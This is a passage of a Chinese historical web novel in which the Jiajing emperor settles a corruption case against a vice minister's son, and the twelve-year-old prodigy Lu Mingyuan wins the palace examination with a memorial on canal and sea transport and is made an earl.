当他说到裴少文买通官吏、陷害良民,并将行贿账本藏于书房暗格之时,他刻意加重了语气,并抬眼观察着皇帝的反应。 然而,嘉靖帝的脸上,依旧是那副波澜不惊的神情。 他对裴少文强抢民女、纵奴行凶的细节似乎毫无兴趣。 直到赵浩然说完,他才缓缓地从棋盘上拿起一枚白子,轻轻敲击着桌面。 “嗒”“嗒”的声音,在寂静的御书房里显得格外清晰。 “账本……” 嘉靖帝终于开口,声音里带着一丝玩味。 “一本小小的账本,能牵扯出谁?一个京兆府的司功?还是吏部某个无关紧要的主事?” 赵浩然心中一凛,瞬间明白了皇帝的意思。 “裴宽在吏部多年,门生故吏不少,盘根错节。这本账本若是深挖下去,恐怕……” 嘉靖帝忽然笑了,他转过头,那双洞悉一切的眼睛终于落在了赵浩然的身上,目光深邃如海。 “恐怕什么?恐怕会让我大乾的官场,来一场大地震?” 赵浩然额头渗出冷汗,躬身道:“臣,不敢。” “你是不敢,还是不想?” 嘉靖帝将那枚白子放回棋盒,淡淡道。 “裴少文,是个该死的蠢货。裴宽,是个教子无方的废物。” “这件事,到裴宽为止。” 皇帝的声音,如同一道最终的判决,不容置疑。 “朕要让某些人知道,手不要伸得太长,尾巴不要翘得太高。” “至于那本账本。” 嘉靖帝顿了顿,“就让它烂在暗格里吧。有些东西,不见光,比见了光,更有用。” 赵浩然深深吸了一口气,胸中那股翻江倒海的激动与愤懑,最终都化作了对皇权深不见底的敬畏。 他明白了,从头到尾,这都是一场敲打! 陆明渊是引子,民怨是风,而他赵浩然,不过是皇帝手中一颗精准落下的棋子。 “臣,遵旨。” 他再次跪下,这一次,是心悦诚服。 “去吧。” 嘉靖帝挥了挥手,重新将目光投向了那盘残局。 赵浩然领命离去。 当他走出宫门,重新沐浴在月光之下时,只觉得后背一片冰凉,早已被冷汗浸透。 他抬头望了一眼那巍峨的紫禁城,心中再无半分扳倒严党的妄想,只剩下对这位帝王心术的无尽感慨。 接下来的几天,三司会审的进程快得惊人。 有了王二这个突破口,再加上从裴府暗格中“搜”出的那本并未公之于众的账本作为威慑。 当年那些经手过裴少文腌臜事的家奴、帮闲,乃至一些底层官吏,几乎没有经过太多的挣扎,便将一切都招供了出来。 一桩桩,一件件,罄竹难书。 当所有的罪证,如同雪片一般汇集到吏部侍郎府时,裴宽终于明白,大势已去。 他形容枯槁,一夜白头,再没了往日的官威与体面。 他疯了似的冲出府门,甚至来不及备轿,便一路奔向了位于城东的严府。 严府,书房。 小阁老严世蕃正悠闲地品着新进的雨前龙井,听着身边美婢弹奏着靡靡之音。 他看着跪在地上,涕泪横流的裴宽,脸上没有丝毫同情,只有一丝淡淡的厌烦。 “阁老!救我!救救犬子啊!” 裴宽抱着严世蕃的腿,哭嚎道,“您一定要救救少文!下官愿为您做牛做马,万死不辞!” 严世蕃皱了皱眉,示意美婢退下。 他用脚尖轻轻踢开了裴宽,慢条斯理地用丝巾擦了擦被弄脏的靴子。 “裴侍郎,你这是做什么?体统呢?” 他的声音很轻,却像淬了冰的刀子。 “如今是陛下钦点的三司会审,人证物证俱在,你那个宝贝儿子做下的好事,比戏文里编的还精彩。” “你告诉我,我怎么救?我爹是内阁首辅,不是阎王爷!” 第184章 你儿子,必死无疑 他居高临下地看着裴宽,眼神像是在看一条可怜虫。 “你儿子,必死无疑。谁也保不住。但你,还有活路。” “陛下要的是敲打,不是赶尽杀绝。” “你现在上书请辞,自承教子无方,愧对圣恩,然后解甲归田,滚回你的河东老家去。” “这,是我能为你争取的最好结果。” “你还年轻,回去了,多纳几房妾,再生十个八个儿子,香火断不了。” “何必为了一个废物,把自己也搭进去?” 严世蕃的话,字字诛心。 裴宽心中最后一丝希望彻底破灭,他看着眼前这张倨傲而冷酷的脸,忽然明白了什么叫“人情凉薄”。 所谓的严党,不过是一群利益捆绑的豺狼,一旦你失去了价值,被抛弃只是时间问题。 他心中涌起无尽的绝望,却又生出一股疯狂的执念。 “不……我不能让少文死!” 他挣扎着爬起来,眼中布满血丝,“阁老,可否周旋一二,我愿一死,换犬子一条生路!” 严世蕃像是听到了天大的笑话,嗤笑道。 “你的命?你的命现在值几个钱?裴宽,别给脸不要脸。” “我保你,是看在你这些年还算听话的份上。” “你要是再不知好歹,信不信明天,你的罪名就不是教子无方,而是结党营私了?” 裴宽浑身一颤,彻底僵住。 离开严府时,他仿佛被抽走了所有的精气神。 他不甘心,又联系了京都的裴家本家。 然而,裴氏宗族给出的答复,与严世蕃如出一辙,甚至更加冰冷。 “裴宽,家族的荣辱,重于一切。你儿子的事情,已经成了陛下的刀,谁碰谁死。” “你能活下来,已是天大的幸事。老老实实回来,不要再给家族添乱。” “可是少文他……” “一个纨绔子,死了便死了,我裴家还出得起更多的子孙!” 长老的声音不带一丝感情。 “你给家族蒙羞,本该重罚。如今能保你性命,让你延续香火,已经是看在你父亲的面子上。” “你若想为他报仇,就给老夫好好地活着!” “等着!等风头过去,等我们裴家下一次机会的到来!” “那个叫陆明渊的小子,我河东裴家记下了。这笔血债,早晚要让他用全家来偿还!” “报仇……” 裴宽喃喃自语,空洞的眼神里,渐渐燃起了一簇疯狂的火焰。 对!活着! 他要活着!他要亲眼看着陆明渊家破人亡,死无葬身之地!他要为他的少文报仇! 这个念头,让他重新找到了活下去的意义。 他同意了。 半个月后,京城风波渐定。 三司会审最终定案:吏部侍郎之子裴少文,罪恶滔天,判秋后问斩。 吏部侍郎裴宽,教子无方,御前失仪,上书请辞,嘉靖帝“感其愧疚”,准其告老还乡。 一道圣旨,将这场掀动京城的风暴,画上了一个看似圆满的句号。 据说,裴侍郎回到河东祖籍的当晚,便一口气迎娶了十余房年轻貌美的妾室,广纳姬妾,只为延续香火。 从此,大乾官场少了一个钻营的侍郎,河东坞堡里多了一个眼神阴鸷、沉默寡言的富家翁。 …… 陆明渊是在会馆里,从报喜的官差口中听到这个结果的。 他怔了很久。 他想过裴少文会伏法,却没想到,连他那位权势滔天的父亲,吏部侍郎裴宽,也会因此丢官去职。 这超出了他的预料。 他原本以为,这世道的公理,早已被权势的尘埃所掩盖,需要人奋力去擦拭,才能透出微光。 可他没想到,这公理发起威来,竟有如此雷霆万钧之势,连四品大员都能拉下马。 这一刻,他心中那份对大乾王朝的信念,前所未有的坚定。 这个国朝,虽然有裴少文这样的蛀虫,有严党那样的阴影,但同样有赵浩然这样不畏强权的酷吏。 有愿意为民请命的清流,更有高居庙堂之上,心如明镜的君王。 这里,还是有真理存在的。 他对着皇城的方向,深深一揖。 收拾好心绪,他将所有的杂念抛之脑后,开始全身心地投入到最后的准备之中。 三日之后,便是决定天下所有读书人命运的终极一战——殿试! 三日后,晨光熹微。 紫禁城前,巨大的汉白玉广场上,三百名身穿崭新贡士服的学子,早已按次序肃立等候。 他们来自五湖四海,口音各异,年龄不同,有的人年少英发,有的人已近花甲。 但此刻,他们每个人的脸上,都带着同样的神情——激动、紧张,以及对未来无限的憧憬。 十年寒窗,一朝题名。 他们从千军万马中闯过了独木桥,终于站在了这座象征着最高权力的殿堂之前。 陆明渊站在队伍的前列,他那张稚气未脱的脸,在人群中显得格外醒目。 他望着那沐浴在晨光中,愈发显得金碧辉煌、威严肃穆的金銮殿,心中一片澄澈。 这条路,他从陆家村,走到江陵县,走到杭州府,走到江宁府,最终,走到了这帝国的中心。 今日,他将在这里,为自己的科举之路,画上最后的句点。 “当——” 悠远绵长的钟声响起,厚重的宫门在“嘎吱”声中缓缓开启,露出一条通往无上权力的金色大道。 “传——” “新科贡士,觐见——” 太监特有的尖细唱喏声,在广场上空回荡。 三百贡士整理衣冠,神情肃穆,迈着沉稳而坚定的步伐,鱼贯而入。 金銮殿上,百官分列,嘉靖帝高坐龙椅,俯瞰着下方走进来的国之栋梁。 他的目光在人群中扫过,最终,在那个年仅十岁的少年身上,停留了片刻,眼中闪过一丝不易察觉的兴趣。 那,便是陆明渊。 金銮殿前的汉白玉广场,广阔得仿佛能容纳天地。 三百名新科贡士,肃立于此。 远处,是巍峨的城楼与角楼,近处,是雕梁画栋的殿宇飞檐。 空气清冷,带着玉石的凉意和淡淡的檀香,吸入肺腑,让人精神为之一振,却也心生敬畏。 陆明渊能听到自己平稳的呼吸,也能感受到身边那些同考们或压抑或急促的心跳。 有人在低声背诵着经义,有人在悄悄活动着僵硬的手指。 更多的人,则是仰望着那座象征着帝国权力之巅的金色宫殿,眼中燃烧着火焰。 十年,二十年,甚至四十年的寒窗苦读,所求的,不就是今日这一刻么? 第185章 朕今日,只问一策! “当——” 悠远的钟声再次响起,比方才入宫时更加深沉,更加辽远。 广场之上,瞬间鸦雀无声。 只见金銮殿的丹陛之上,内阁首辅严嵩,次辅徐阶,户部尚书高拱,兵部尚书张居正等一众朝廷重臣,分列左右,神情肃穆。 而在他们的簇拥下,一道明黄色的身影缓缓走出。 嘉靖皇帝并未穿着繁复的朝服,而是一身略显宽松的八卦道袍。 头戴逍遥巾,少了几分帝王的威压,多了几分道法自然的飘逸。 然而,当他的目光扫过全场时,那股渊渟岳峙、君临天下的气度,却比任何华丽的衣冠都更具压迫感。 所有贡士,包括陆明渊在内,皆深深下拜,山呼万岁。 “众爱卿,平身。” 嘉靖帝的声音不高,却清晰地传入了每个人的耳中,带着一种奇特的、仿佛能安抚人心的韵味。 “尔等,皆是我大乾的栋梁之才。自乡试、会试,过关斩将,一路行来,殊为不易。” 他顿了顿,目光在人群中缓缓移动。 “今日殿试,乃是科举终途,亦是尔等仕途之始。” “朕不考你们经义文章,那些,你们的考官早已替朕看过了。” 他踱步到丹陛边缘,负手而立,望着下方一张张或年轻或苍老的脸庞。 “朕今日,只问一策。” 他的声音陡然拔高,带着一丝苍凉与沉重。 “我大乾立国百年,国库日虚,边患不宁,流民四起,哀民生之多艰!” “朕宵衣旰食,常感于心。今日,朕便问尔等,何以振国!” “何以振国!” 四个字,如暮鼓晨钟,重重地砸在三百名贡士的心上。 这个问题,太大了。 大到仿佛无从下笔。 可以从军屯谈起,以固边防;可以从吏治说起,以清沉疴;可以从农桑讲起,以安万民。 每一个方向,都能洋洋洒洒写上数千言,但每一个方向,又似乎都只是隔靴搔痒,难以触及根本。 这不仅是在考学问,更是在考眼界,考格局,考对这个帝国最深层次的洞察。 一瞬间,广场上响起一片细微的骚动,许多人脸色都变了。 有人眉头紧锁,有人面露苦色,显然是被这宏大无边的题目给难住了。 而陆明渊,在听到这四个字的刹那,心中却是一片雪亮。 来了。 他深吸一口气,那股自穿越以来,一直盘桓于胸中的郁气与抱负,此刻尽数化作了笔下的惊雷。 他知道,自己为这一天,已经准备了太久。 小太监们迅速行动起来,将早已备好的三百套桌案、笔墨、宣纸分发下去。 广场之上,除了风声,便只剩下衣袂摩擦与摆放器物的细碎声响。 “殿试开始!” 礼部官员尖细的嗓音划破了寂静。 一炷高香,在殿前香炉中被点燃,青烟袅袅,笔直升腾。 时间,开始了。 大部分的贡士都在第一时间抓起墨条,在砚台中飞快地研磨起来,发出沙沙的声响。 陆明渊也拿起了墨条,他的动作却不快,甚至有些慢。 他垂着眼帘,手腕平稳地转动。 脑海中,无数的念头在翻涌、碰撞、融合。 漕运,海运,关税,商贸,白银,火器,流民。 一幅庞大而复杂的大乾王朝运行图,在他脑中缓缓展开。 他想起了老师林瀚文在江宁府衙的书房里,与他彻夜长谈的那些夜晚。 “明渊,你的《漕海一体论》,立意高远,石破天惊。但终究是纸上谈兵。” “漕运牵扯百万漕工生计,背后是盘根错节的利益,是祖宗之法。” “海运看似利大,却也有倭寇之患,有巨室豪族垄断之危。” “如何平衡?如何推行?这之中的关节,比你想象的要复杂百倍。” “为师这半年来,将这策论中的每一条,都与布政司、按察司的同僚们反复推演过。” “这里面,有利,有弊,有可行之处,亦有万丈深渊。” 那些关于预算、人事、法令、风险的细节,如同涓涓细流,不断汇入陆明渊的脑海。 将他原本那个略显空泛的理论框架,填充得无比坚实、饱满。 这不再是一个天才少年天马行空的想法。 而是一套经过封疆大吏反复推敲,具备了高度可行性的治国方略。 这,便是林瀚文送给他最珍贵的礼物。 一炷香的时间,悄然流逝。 许多人还在咬着笔杆,对着白纸苦思冥想。 而陆明渊,放下了墨条。 他抬起头,望了一眼那高高在上的金銮殿,又看了一眼那笔直的青烟,眼神澄澈如洗。 他提起笔,饱蘸浓墨,没有丝毫犹豫,落笔于宣纸之上。 负责监考的礼部官员,是一名姓黄的老主事,在贡院里待了三十年,什么样的天才都见过。 有的人下笔千言,有的人字字珠玑。 像陆明渊这样,年仅十二岁之龄,在如此宏大的题目面前,仅用一炷香的功夫便构思完毕,提笔就写的,生平仅见。 他心中好奇,忍不住悄悄踱步到陆明渊身后,探头望去。 只看了一眼,黄主事便浑身一震,如遭雷击,整个人都僵在了原地。 只见那洁白的宣纸上,一行开篇之语,如龙蛇起陆,力透纸背,带着一股振聋发聩的磅礴气势! “漕海之争,非利弊之辨,实为体用之惑。” “臣以为,漕运为国之经络,海运为民之血脉,经络以固本,血脉以活体,二者非但不悖,实乃相辅相成,一体两翼!” 体用之惑! 黄主事倒吸一口凉气。 宋明理学,讲究体用一源。 将漕运与海运的百年纷争,直接上升到“体”与“用”的哲学高度,这……这是何等的眼界与气魄! 他不敢再看下去,生怕惊扰了这少年的文思。 此时的陆明渊,对身后发生的一切浑然不觉。 他的整个心神,都已沉浸在那片小小的宣纸天地之中。 笔尖在宣纸上游走,每一个字落下,都不仅仅是一个字,而是一道政令。 这是一笔预算,一个官员的任命,一片区域的未来。 “……故欲行海运,必先清吏治。臣请设‘市舶提举司’,独立于三司之外,由户部、兵部、都察院共管,专司海外贸易、关税征收、海防巡检之责。提举司主官,当由圣上亲择,不入常例,三年一换,以防勾连……” “……漕工百万,生计所系,不可一刀而断。臣以为,可改漕为兵。择其精壮,训练成水师,拱卫海疆,清剿倭寇。其余老弱,则转为修路、开矿、兴修水利之工。朝廷以工代赈,既安流民,亦兴实业……” “……海运之利,首在白银。我大乾宝钞日滥,铜钱不敷,民间交易多以米布。若能开海,引西洋、东洋之白银内流,则国库可充,币制可革。以银为本,以钞为辅,商贸流通,百业自兴……” 第186章 此卷,为今科状元! 他写得不快,但每一个字都稳如泰山。 那些在老师林瀚文书房中反复推演的细节,此刻都化作了他笔下最坚实的血肉,支撑起那“漕海一体”的宏伟骨架。 这已经不是一份策论。 这是一份详尽到令人发指的施政纲领。 从顶层设计到基层执行,从人事安排到财政预算,从风险预估到应急预案,环环相扣,滴水不漏。 这哪里是一个少年人的纸上谈兵,这分明是一位封疆大吏,呕心沥血而成的救世良方! 广场上的风,似乎也变得安静了。 高香已经燃尽了近半,大多数的贡士依旧在草稿上涂涂抹抹,满头大汗。 有人已经写了几百字,却又觉得立意不高,愤而划掉,另起炉灶。 有人则对着空白的纸张,双目无神,显然已被这宏大的题目彻底压垮。 就在这时,陆明渊停笔了。 他将毛笔轻轻搁在笔架上,提起写好的策论,从头到尾,仔仔细细地看了一遍。 确认无误后,他将宣纸理平,放在桌案的左上角,然后便垂下眼帘,正襟危坐,静静地等待起来。 一个时辰。 仅仅用了一个时辰。 在这三百名大乾朝最顶尖的头脑之中,这个年仅十二岁的少年,第一个完成了答卷。 他的动作不大,但在这片被焦虑和寂静笼罩的广场上,却显得无比刺眼。 几乎所有还在苦思冥想的贡士,都下意识地抬起头,朝他望来。 当他们看到陆明渊那平静如水的姿态时,眼中流露出的,是震惊,是怀疑,是难以置信。 装模作样? 还是真有惊天之才? 黄主事的心跳再次漏了一拍。 他知道,自己不能再等了。 他深吸一口气,整理了一下官服,快步走向丹陛。 丹陛之上,嘉靖皇帝已经有些意兴阑珊。 他闭着双眼,仿佛在与天地元气一同呼吸,对下方这些凡俗士子的挣扎与煎熬,似乎并无兴趣。 一名小太监看到了匆匆上前的黄主事,连忙上前,压低声音斥道。 “黄主事,何事惊慌?圣驾在此,不得无状!” 黄主事躬着身子,声音压得比蚊子还低,却带着一股无法抑制的激动。 “公公,出……出了个奇才!” 他将刚才看到的那句开篇之语,以及陆明渊一个时辰便完卷的事情,飞快地禀报了一遍。 小太监听得也是一愣,不敢怠慢,连忙碎步走到嘉靖帝身后,附耳将此事轻声奏上。 嘉靖帝那长长的睫毛微微颤动了一下,紧闭的双眼缓缓睁开。 他的眼神,初时还带着几分修道之人的淡漠与疏离。 但当听到“体用之惑”四个字时,那淡漠的深处,陡然亮起了一丝精光。 “哦?”他发出了一个轻轻的鼻音,带着几分好奇。 “十二岁?一个时辰?” 他站起身,缓步走到丹陛的边缘,目光越过一众重臣,落向了那广阔的汉白玉广场。 他的视线,仿佛带着一种无形的指引,精准地在三百个身影中,找到了那个静坐不动的少年。 广场的风,吹动着少年略显宽大的贡士服,衣袂飘飘,却压不住那如青松般挺立的身姿。 他的脸上还带着一丝稚气,眉宇之间,却已然有了一股山川般的沉静。 在这三百张或焦灼、或紧张、或激动的面孔中,唯有他,不动不摇,自有一股超然物外的气度。 嘉靖帝的目光,在他身上停留了很久。 他看的不是文章,而是气象。 身为天下之主,他见过太多才华横溢之辈,也见过太多城府深沉之徒。 但像眼前这般,年纪轻轻,便兼具了天才的锋芒与宗师的沉静,却是生平仅见。 “好一个……龙凤之姿。” 嘉靖帝嘴角微微上扬,露出了一抹极淡的笑意。 这抹笑意,让旁边的内阁首辅严嵩和次辅徐阶,都心中微微一动,顺着皇帝的目光看了过去。 嘉靖帝没有再说什么,只是在心中留下了一句话。 此子,无论此番中与不中,日后,皆可大用。 …… 两个时辰后,殿前的高香燃到了尽头。 “殿试结束!停笔!” 礼部侍郎尖锐的声音响彻全场,所有贡士,无论写完与否,都必须放下手中的笔。 一时间,广场上响起一片或如释重负、或懊恼不已的叹息声。 礼部官员们鱼贯而入,手脚麻利地将三百份试卷一一收起。 随后,在一众重臣的监督下,当场糊名,将写有考生信息的卷头封存起来。 紧接着,所有试卷被装入数个大箱,由嘉靖帝亲自指定了打乱的次序,以示公允。 最后,这三百份决定着无数人命运的试卷,被分别送往内阁与文渊阁。 按照规矩,将由内阁首辅严嵩,次辅徐阶,以及几位德高望重的大学士进行初阅。 他们将从这三百份试卷中,选出最优的十份,呈送御前。 由皇帝陛下亲自定夺一甲三名——状元、榜眼、探花。 接下来的三天,内阁的值房内,灯火彻夜通明。 严嵩与徐阶,这对政坛上斗了一辈子的老对手,此刻却不得不坐在一张桌子的两端,面对着堆积如山的试卷。 空气中弥漫着浓郁的墨香,以及一丝不易察觉的疲惫与烦躁。 三百份策论,谈论的都是“何以振国”。 有人引宋儒之言,大谈存天理、灭人欲,认为振国必先正人心。 有人宗法家之术,主张严刑峻法,重典治吏,以求风气清明。 有人从农桑、水利、兵备、盐铁等各个方面,提出了自己的见解。 这些文章,大多四平八稳,言之有物,符合一个优秀贡士应有的水准。 但看多了,便觉得千篇一律,如同嚼蜡。 严嵩的眉头越皱越紧,他需要的是能解决国库空虚的“实学”,而不是这些空泛的道德文章。 徐阶则不动声色,他更看重文章的法度与经义的根基,对那些剑走偏锋的言论,本能地抱有警惕。 两人时而交换意见,时而各自批阅,三天下来,神情都憔悴了不少。 终于,在第三天的黄昏,十份被公认为最优的卷子,被整整齐齐地摆放在了一个托盘上,送进了御书房。 御书房内,檀香袅袅。 嘉靖帝换了一身更为舒适的素色道袍,懒洋洋地斜倚在软榻上,身前的小几上,摆着刚送来的试卷。 他随手拿起第一份。 “……臣以为,国之不振,在吏治之不清。当效太祖之雷霆手段,重整官箴……” 嘉靖帝看了几行,便放下了。老生常谈,毫无新意。 第二份。 “……边患之根,在兵备松弛,屯田不兴。当广开军屯,以战养战……” 有点想法,但还是太浅了。嘉靖帝微微摇头。 第三份,第四份,第五份…… 一连看了五份,嘉靖帝的眉头渐渐锁了起来,脸上浮现出一丝明显的不满。 这些就是他大乾朝最顶尖的头脑? 这些就是严嵩徐阶他们挑出来的最优之选? 不过是些修修补补的庸见,全无石破天惊的格局。 他感到有些乏了,揉了揉眉心,准备起身活动一下筋骨。 侍立在旁的小太监见状,连忙上前一步。 他小心翼翼地将第六份试卷展开,平铺在书桌上,方便皇帝回来后观看。 正是这个不经意的举动,让嘉靖帝的目光,在起身的瞬间,扫过了那份试卷的开篇。 只一眼。 他停下了脚步。 那双因为修道而显得有些漠然的眸子,骤然收缩! “漕海之争,非利弊之辨,实为体用之惑。” 短短一句话,如同一记洪钟,狠狠地撞在了他的心上! 嘉靖帝猛地转过身,快步走回书桌前,一把抓起了那份试卷。 他的呼吸,在这一刻,变得有些急促。 他不再是那个飘逸出尘的修道之人,而变回了那个君临天下、掌控着亿万人生死的大乾皇帝! 他坐下来,从第一个字开始,一个字一个字地往下看。 起初,他看得很快,目光如电,一目十行。 但渐渐地,他的速度慢了下来。 他的脸上,先是惊讶,然后是凝重,再然后,是一种难以言喻的震撼。 当他看到“改漕为兵,以工代赈”时,他忍不住点了点头。 当他看到“市舶提举司,三部共管,圣上亲择”时,他的手指在桌案上轻轻敲击起来,这是他陷入深度思考的习惯。 而当他看到那一段关于“引白银内流,以银为本,革新币制”的论述时,他整个人都僵住了。 那双深邃的眼眸中,掀起了滔天巨浪! 国库空虚! 这四个字,像一条毒蛇,日日夜夜啃噬着他的心。 他身为天子,富有四海,却常常为了边关的军饷、河道的修缮而捉襟见肘,这是何等的讽刺! 而这份策论,就像一把锋利的手术刀,精准地剖开了帝国的沉疴,并且,给出了一套完整而大胆的治疗方案! 时间,在寂静的御书房中缓缓流逝。 一炷香燃尽了。 又一炷香燃尽了。 嘉靖帝足足看了两炷香的时间,才终于将这份数千言的策论,从头到尾,读完了一遍。 他长长地呼出了一口气,那口气息,仿佛带着胸中积郁多年的浊气。 他缓缓地将试卷放下,闭上眼睛,靠在椅背上,一动不动。 御书房内,落针可闻。 小太监们连呼吸都屏住了,不知道皇帝陛下是喜是怒。 许久,许久。 嘉靖帝猛地睁开双眼,那眼中,是前所未有的光亮与炽热。 “哈……哈哈……好!好!好!” 他突然大笑起来,笑声穿透了御书房,在寂静的宫殿上空回荡。 紧接着,他猛地一拍书桌,站起身来,声音里充满了压抑不住的狂喜与激动,一字一顿地说道: “此卷,为今科状元!” 又过了一个时辰,嘉靖帝才将剩下的几份试卷草草看完。 珠玉在前,后面的瓦砾便再也入不了他的眼。 他拿起朱笔,在那份让他狂喜的试卷卷头上,毫不犹豫地画下了一个圈。 随即,他将十份试卷的排名一一厘定,递给身边的大太监。 “传朕旨意。” 他的声音恢复了平日的威严与沉静,却多了一丝难以掩饰的期待。 “明日早朝,于金銮殿前,金榜唱名,宣布今科殿试三甲进士,及状元归属!” 第187章 今有冠文伯才压九州,及发封伯 天光未亮,晨曦的微芒将紫禁城染上一层金辉。 汉白玉广场上,寒气如水,浸透了三百名新科贡士的衣衫。 他们站在这里,等待着科举的最后结果。 十年寒窗,万里鹏程,是鱼跃龙门,还是一场空梦,皆在今日,此时,此刻。 陆明渊站在人群之中,身形在宽大的贡士服下显得有些单薄。 他微微垂着眼帘,安静得与周围的焦躁格格不入。 终于,午门洞开,钟鼓齐鸣。 礼部尚书身着绯红官袍,在一众官员的簇拥下,手捧一卷明黄色的圣旨,缓步走上丹陛。 他那张素来严肃的脸上,此刻竟也带着几分难以言喻的复杂神情。 广场上瞬间鸦雀无声,无数道灼热的目光,死死地钉在那一卷黄绫之上。 “奉天承运,皇帝诏曰……” “甲辰科殿试,朕亲策于廷。” “三百贡士,皆国之栋梁。今朕以策取士,择其优者,以定三甲……” 人群中响起一阵压抑的呼吸声。 “……今科殿试,探花……扬州府,李承泽!” 话音落下,人群中一名面如冠玉的年轻公子哥儿瞬间面色涨红,激动得浑身颤抖,几乎要软倒在地,被身旁的同乡好友一把扶住。 “是李家的公子!” “他父亲是前朝户部侍郎,果然是虎父无犬子啊!” 人群中响起一阵低低的议论,有羡慕,有嫉妒,但更多的是一种理所当然的接受。 世家子弟,根基深厚,见识广博,中个探花,本就在情理之中。 不少出身寒门的贡士,眼中的光芒黯淡了几分。 礼部尚书顿了顿,再次开口,声音愈发高亢。 “今科殿试,榜眼……太原府,王辅臣!” 又是一个如雷贯耳的姓氏。 太原王氏,五姓七望之一,门生故吏遍布天下。 那位名叫王辅臣的贡士,更是早已名满京华,被誉为“天下文章第一”。 人群的骚动更大了些,但那股绝望的意味也更浓了。 探花是李侍郎之子,榜眼是太原王氏的麒麟儿。 那么状元呢? 还用问吗? 许多寒门子弟的头颅,已经无力地垂了下去。 他们仿佛已经看到了结局。 十年苦读,读得穿楼阁,读得烂春秋,终究,还是读不过那与生俱来的门第。 朝堂之上,丹陛两侧的文武百官,亦是神情各异。 以严嵩、严世蕃为首的严党官员,嘴角挂着若有若无的笑意。 李承泽与王辅臣,都或多或少与他们有些香火情,这样的结果,对他们而言,自然是乐见其成。 而内阁次辅徐阶,则面色沉静,看不出喜怒。 他身后的清流官员们,大多眉头微蹙,轻轻摇头。 寒门难出贵子,国朝之弊,一至于斯。 那几位同样出身寒微,一步步爬上高位的朝中大员,此刻更是感同身受,眼神里满是复杂难言的叹息。 这条路,太难了。 就在这片或明或暗的失望与中,礼部尚书深深吸了一口气。 他的目光,下意识地扫过广场,在那三百个身影中,精准地找到了那个最不起眼的少年。 然后,他一字一顿,声如洪钟,响彻云霄! “今科殿试,状元郎……浙江江陵,陆明渊!!!” “陆……明……渊……” 整个汉白玉广场,死寂了一瞬。 仿佛时间都被这道声音冻结了。 紧接着,是火山爆发般的哗然! “是他!是那个十二岁的神童!今科会元!” “我的天!十二岁的状元?这……这是在说笑吗?” “大乾立朝三百载,何曾有过如此之事!这简直是……是天方夜谭!” 所有的目光,所有的震惊,所有的难以置信,在这一刻,都化作了无数道利箭。 众人的目光齐刷刷地射向了那个站在人群中,依旧平静如初的少年! 陆明渊缓缓抬起头,迎着那成百上千道复杂的目光,神情没有一丝一毫的改变。 他只是轻轻地整理了一下自己的衣冠,然后,迈步而出。 “宣状元陆明渊、榜眼王辅臣、探花李承泽……觐见!” 太监尖锐的唱喏声响起。 李承泽和王辅臣,这两位原本应该万众瞩目的天之骄子,此刻却像是两片黯淡的绿叶。 所有人的目光,都越过了他们,死死地锁着那个走在最前面的、小小的身影。 他走得很稳,一步一步,踏在汉白玉的御道上,不疾不徐。 他走进了那座代表着帝国最高权力的殿堂。 金銮殿内,龙涎香的烟气缭绕,百官肃立,气氛庄严肃穆。 当陆明渊那小小的身影出现在殿门时,殿内所有的目光,也同样聚焦于他一身。 严世蕃那双阴鸷的眼睛里,闪过一丝浓厚的兴趣与算计。 如此天才,若能收入囊中,必是一把利刃。 徐阶的眼神则深邃如海,他看着那个少年,心中掀起了惊涛骇浪。 皇帝对这份策论的欣赏,已经超出了所有人的预料。 而那些与林瀚文交好的官员,则是个个面露喜色,与有荣焉。 “江临男,陆明渊,叩见陛下,吾皇万岁万岁万万岁。” 清朗而沉静的声音,在大殿中响起。 没有丝毫的怯懦与颤抖,平静得不像一个十二岁的孩子。 龙椅之上,嘉靖帝换下了一身道袍,身着十二章纹的衮龙袍。 那双因为常年修道而略显淡漠的眼眸里,此刻却满是欣赏。 “平身。” 嘉靖帝的声音带着一丝笑意。 他没有多余的废话,直接对着身旁的大太监吕芳点了点头。 吕芳会意,展开手中的圣旨。 “奉天承运皇帝,诏曰:贡士陆明渊,以冲龄之年,献救时之策。” “其文《漕海一体疏》,论体用之辨,析利弊之源,见识高远,格局宏大,深合朕心!” 圣旨的第一句,就让满朝文武心头剧震! “救时之策!” “深合朕心!” 这是何等之高的评价!皇帝竟将一个少年人的策论,直接定义为匡救时弊的良方! 吕芳的声音还在继续。 “……朕心甚慰,特钦点为甲辰科状元,授翰林院编撰,官居六品。” 翰林院编撰,这是状元的标配,众人并不意外。 “……赏黄金三千两,苏州云锦千匹。” 殿内响起一阵倒吸冷气的声音。 三千两黄金!这手笔,已经不能用“丰厚”来形容,简直是“豪奢”! “……赐京中府宅一座,以作状元府邸。另赐宫女十六人,入府侍奉。” 百官已经有些麻木了。 赐府、赐人,这份恩宠,已经超越了寻常状元太多,直逼二品大员的赏赐规格。 然而,所有人都没想到,真正石破天惊的,还在后面。 吕芳深吸一口气,沉声道! “……念其未及弱冠,便有经天纬地之才,安邦定国之志,三元及第,特加封为——冠文伯!享食邑千户!钦此!” “轰!” 整个金銮殿,仿佛要被炸开一般! 所有人都当场愣住了! 无论是老谋深算的严嵩,还是隐忍持重的徐阶。 无论是骄横跋扈的严世蕃,还是那些自诩清高的言官。 在这一刻,全都瞪大了眼睛,脸上写满了无法掩饰的骇然! 封伯! 一个十二岁的孩子,一个刚刚踏入仕途的状元郎,寸功未立,竟然直接被封为伯爵! 大乾王朝立朝以来,非军功不得封爵,这是太祖皇帝定下的铁律。 即便有文臣封爵,那也是死后追封,或是为国朝立下了不世之功的元老重臣。 “冠文伯” ……这个名号,更是充满了皇帝毫不掩饰的偏爱与期许。 古有冠军侯勇冠三军,少年封侯! 今有冠文伯才压九州,及发封伯! 这是恩宠吗? 不,这已经不是恩宠了。 这是圣眷! 是天子毫无保留地向天下宣告,这个少年,是他的人! 是他看中的未来! 一个十二岁的少年,连中三元! 这是整个大陆数千年历史都不曾出现过的事情! 众人对于陆明渊受到的恩宠,皆是心服口服! 仅仅凭借他以十二岁之龄连中三元,足以鼓励无数读书人刻苦读书! 无数道目光,羡慕、嫉妒、贪婪、敬畏……如同潮水般涌向大殿中央那个小小的身影。 他们仿佛看到,一条通天之路,已经在那少年的脚下,轰然铺开。 而陆明渊,在这足以让任何人疯狂的滔天恩赏面前,只是再次缓缓跪下,叩首。 他的声音,依旧是那样的平静,那样的沉稳,仿佛这泼天的富贵,于他而言,不过是清风拂面。 “臣,陆明渊,谢主隆恩。” 第188章 御赐的状元府 嘉靖帝脸上的笑意更浓,他挥了挥手,示意百官平身。 早朝在一片诡异的静默与暗流涌动中散去。 百官们鱼贯而出,走下丹陛,经过陆明渊身边时,眼神各异。 